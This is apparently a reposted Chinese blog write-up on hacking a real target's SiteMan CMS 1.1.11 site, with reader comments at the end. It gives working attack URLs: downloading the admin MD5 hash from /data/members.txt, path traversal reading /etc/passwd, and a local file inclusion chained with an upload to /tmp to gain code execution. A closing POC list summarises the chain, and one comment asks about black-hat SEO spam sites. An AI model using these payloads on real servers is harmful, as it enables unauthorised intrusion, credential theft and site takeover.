昨天在搞目标时 发现有个分站使用了siteman cms 就下了套源码看了下

SiteMan Cms 漏洞&利用技巧分享

SITEMAN CMS 是一套国外广泛使用的程序 采用PHP编写 ,TXT做数据库

TXT来做数据库的安全性肯定高不鸟哪里去,可是国外就是很多人使用.

测试环境 :Linux+apache+php+mysql siteman 1.1.11

SITEMAN CMS 远程密码HASH读取:

http://XXX.COM//data/members.txt

SiteMan Cms 漏洞&利用技巧分享

密码用MD5加密  

SiteMan Cms 漏洞&利用技巧分享

解密进入后台

http://xxx.com/admin.php

一般情况下后台能够上传任意文件的

http://xxx.com/admin.php?do=edfiles

SiteMan Cms 漏洞&利用技巧分享

这服务器做了目录限制 apache权限无法生成文件 管理方都是通过FTP操作文件的

在无奈之时发现了一个任意文件读取漏洞

http://XXX.com/admin.php?do=edtxt&file=../../../../../../../etc/passwd

SiteMan Cms 漏洞&利用技巧分享

SiteMan Cms 漏洞&利用技巧分享

鸡肋啊

再次无奈之时 发现代码有好玩的东西

Index.php

第4行左右

if (isset($_GET["page"])) { 
    if (substr($_GET["page"],0,1) != ".") { 
      $page = $_GET["page"]; 
    } 
    else { 
      $page = "index"; 
    } 
  } 
  else { 
    $page = "index"; 
  }

第40行左右

$content = "pages/" . $page . ".php"; 

第96行左右

include_once($content);

不解释 你们都懂的

本地包含漏洞

这就好办了 既然网站的目所有录都没权限  TMP目录肯定有权限

SiteMan Cms 漏洞&利用技巧分享

利用../上传文件到任意目录

用任意文件读取漏洞看下是否上传成功

SiteMan Cms 漏洞&利用技巧分享

已经成功上传 然后就爆菊了

http://XXX.COM/index.php?do=default&page=/../../../../../../../tmp/2

注意 包含时不用.php了

第40行左右

$content = "pages/" . $page . ".php"; 

SiteMan Cms 漏洞&利用技巧分享

总结:

1:Siteman 管理员密码hash读取漏洞

POC:http://XXX.COM/data/members.txt

2:任意文件读取漏洞

POC:http;//XXX.COM/admin.php?do=edtxt&file=../admin.php

3:本地包含漏洞

POC:http://XXX.COM/index.php?do=default&page=XXX

4:上传不到时请别忘记尝试TMP临时目录再利用包含

SiteMan Cms 漏洞&利用技巧分享

转自:http://zone.wooyun.org/content/2227 

留言评论(旧系统):

佚名 @ 2013-01-07 00:00:16

核总,我想请你给我但建议。我想开个网站但是不知道开什么。之前开过电影站。不过空间他垃圾,开不起来。 后来现在想开卖飞机票的,可是百度一下,根本就排不了名次。所以不知道开什么站好,什么彩票啊,什么票都不行,不开违发站,不开小说站,能给点意见给我啊,我就想开个站做黑seo来量。

本站回复:

像你这么想的人太多了,所以你什么也做不了,什么也做不起来。没有建议…… ╮(╯_╰)╭

佚名 @ 2013-01-07 00:02:40

做什么站能来量。除se站。

本站回复:

只管来量的话,去做垃圾站吧(专门引杂七杂八流量的站)。